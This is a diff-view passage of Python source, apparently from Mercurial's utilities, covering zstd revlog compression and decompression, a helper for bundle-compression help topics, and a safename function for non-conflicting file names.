3751 | 3755 | insize = len(data) |
|
3752 | 3756 | # Caller handles empty input case. |
|
3753 | 3757 | assert insize > 0 |
|
3754 | 3758 | |
|
3755 | 3759 | if insize < 50: |
|
3756 | 3760 | return None |
|
3757 | 3761 | |
|
3758 | 3762 | elif insize <= 1000000: |
|
3759 | 3763 | compressed = self._cctx.compress(data) |
|
3760 | 3764 | if len(compressed) < insize: |
|
3761 | 3765 | return compressed |
|
3762 | 3766 | return None |
|
3763 | 3767 | else: |
|
3764 | 3768 | z = self._cctx.compressobj() |
|
3765 | 3769 | chunks = [] |
|
3766 | 3770 | pos = 0 |
|
3767 | 3771 | while pos < insize: |
|
3768 | 3772 | pos2 = pos + self._compinsize |
|
3769 | 3773 | chunk = z.compress(data[pos:pos2]) |
|
3770 | 3774 | if chunk: |
|
3771 | 3775 | chunks.append(chunk) |
|
3772 | 3776 | pos = pos2 |
|
3773 | 3777 | chunks.append(z.flush()) |
|
3774 | 3778 | |
|
3775 | 3779 | if sum(map(len, chunks)) < insize: |
|
3776 | 3780 | return ''.join(chunks) |
|
3777 | 3781 | return None |
|
3778 | 3782 | |
|
3779 | 3783 | def decompress(self, data): |
|
3780 | 3784 | insize = len(data) |
|
3781 | 3785 | |
|
3782 | 3786 | try: |
|
3783 | 3787 | # This was measured to be faster than other streaming |
|
3784 | 3788 | # decompressors. |
|
3785 | 3789 | dobj = self._dctx.decompressobj() |
|
3786 | 3790 | chunks = [] |
|
3787 | 3791 | pos = 0 |
|
3788 | 3792 | while pos < insize: |
|
3789 | 3793 | pos2 = pos + self._decompinsize |
|
3790 | 3794 | chunk = dobj.decompress(data[pos:pos2]) |
|
3791 | 3795 | if chunk: |
|
3792 | 3796 | chunks.append(chunk) |
|
3793 | 3797 | pos = pos2 |
|
3794 | 3798 | # Frame should be exhausted, so no finish() API. |
|
3795 | 3799 | |
|
3796 | 3800 | return ''.join(chunks) |
|
3797 | 3801 | except Exception as e: |
|
3798 | 3802 | raise error.RevlogError(_('revlog decompress error: %s') % |
|
3799 | 3803 | str(e)) |
|
3800 | 3804 | |
|
3801 | 3805 | def revlogcompressor(self, opts=None): |
|
3802 | 3806 | opts = opts or {} |
|
3803 | 3807 | return self.zstdrevlogcompressor(self._module, |
|
3804 | 3808 | level=opts.get('level', 3)) |
|
3805 | 3809 | |
|
3806 | 3810 | compengines.register(_zstdengine()) |
|
3807 | 3811 | |
|
3808 | 3812 | def bundlecompressiontopics(): |
|
3809 | 3813 | """Obtains a list of available bundle compressions for use in help.""" |
|
3810 | 3814 | # help.makeitemsdocs() expects a dict of names to items with a .__doc__. |
|
3811 | 3815 | items = {} |
|
3812 | 3816 | |
|
3813 | 3817 | # We need to format the docstring. So use a dummy object/type to hold it |
|
3814 | 3818 | # rather than mutating the original. |
|
3815 | 3819 | class docobject(object): |
|
3816 | 3820 | pass |
|
3817 | 3821 | |
|
3818 | 3822 | for name in compengines: |
|
3819 | 3823 | engine = compengines[name] |
|
3820 | 3824 | |
|
3821 | 3825 | if not engine.available(): |
|
3822 | 3826 | continue |
|
3823 | 3827 | |
|
3824 | 3828 | bt = engine.bundletype() |
|
3825 | 3829 | if not bt or not bt[0]: |
|
3826 | 3830 | continue |
|
3827 | 3831 | |
|
3828 | 3832 | doc = pycompat.sysstr('``%s``\n %s') % ( |
|
3829 | 3833 | bt[0], engine.bundletype.__doc__) |
|
3830 | 3834 | |
|
3831 | 3835 | value = docobject() |
|
3832 | 3836 | value.__doc__ = doc |
|
3833 | 3837 | value._origdoc = engine.bundletype.__doc__ |
|
3834 | 3838 | value._origfunc = engine.bundletype |
|
3835 | 3839 | |
|
3836 | 3840 | items[bt[0]] = value |
|
3837 | 3841 | |
|
3838 | 3842 | return items |
|
3839 | 3843 | |
|
3840 | 3844 | i18nfunctions = bundlecompressiontopics().values() |
|
3841 | 3845 | |
|
3842 | 3846 | # convenient shortcut |
|
3843 | 3847 | dst = debugstacktrace |
|
3844 | 3848 | |
|
3845 | 3849 | def safename(f, tag, ctx, others=None): |
|
3846 | 3850 | """ |
|
3847 | 3851 | Generate a name that it is safe to rename f to in the given context. |
|
3848 | 3852 | |
|
3849 | 3853 | f: filename to rename |
|
3850 | 3854 | tag: a string tag that will be included in the new name |
|
3851 | 3855 | ctx: a context, in which the new name must not exist |
|
3852 | 3856 | others: a set of other filenames that the new name must not be in |
|
3853 | 3857 | |
|
3854 | 3858 | Returns a file name of the form oldname~tag[~number] which does not exist |
|
3855 | 3859 | in the provided context and is not in the set of other names. |
|
3856 | 3860 | """ |
|
3857 | 3861 | if others is None: |
|
3858 | 3862 | others = set() |
|
3859 | 3863 | |
|
3860 | 3864 | fn = '%s~%s' % (f, tag) |
|
3861 | 3865 | if fn not in ctx and fn not in others: |
|
3862 | 3866 | return fn |
|
3863 | 3867 | for n in itertools.count(1): |
|
3864 | 3868 | fn = '%s~%s~%s' % (f, tag, n) |
|
3865 | 3869 | if fn not in ctx and fn not in others: |
|
3866 | 3870 | return fn |
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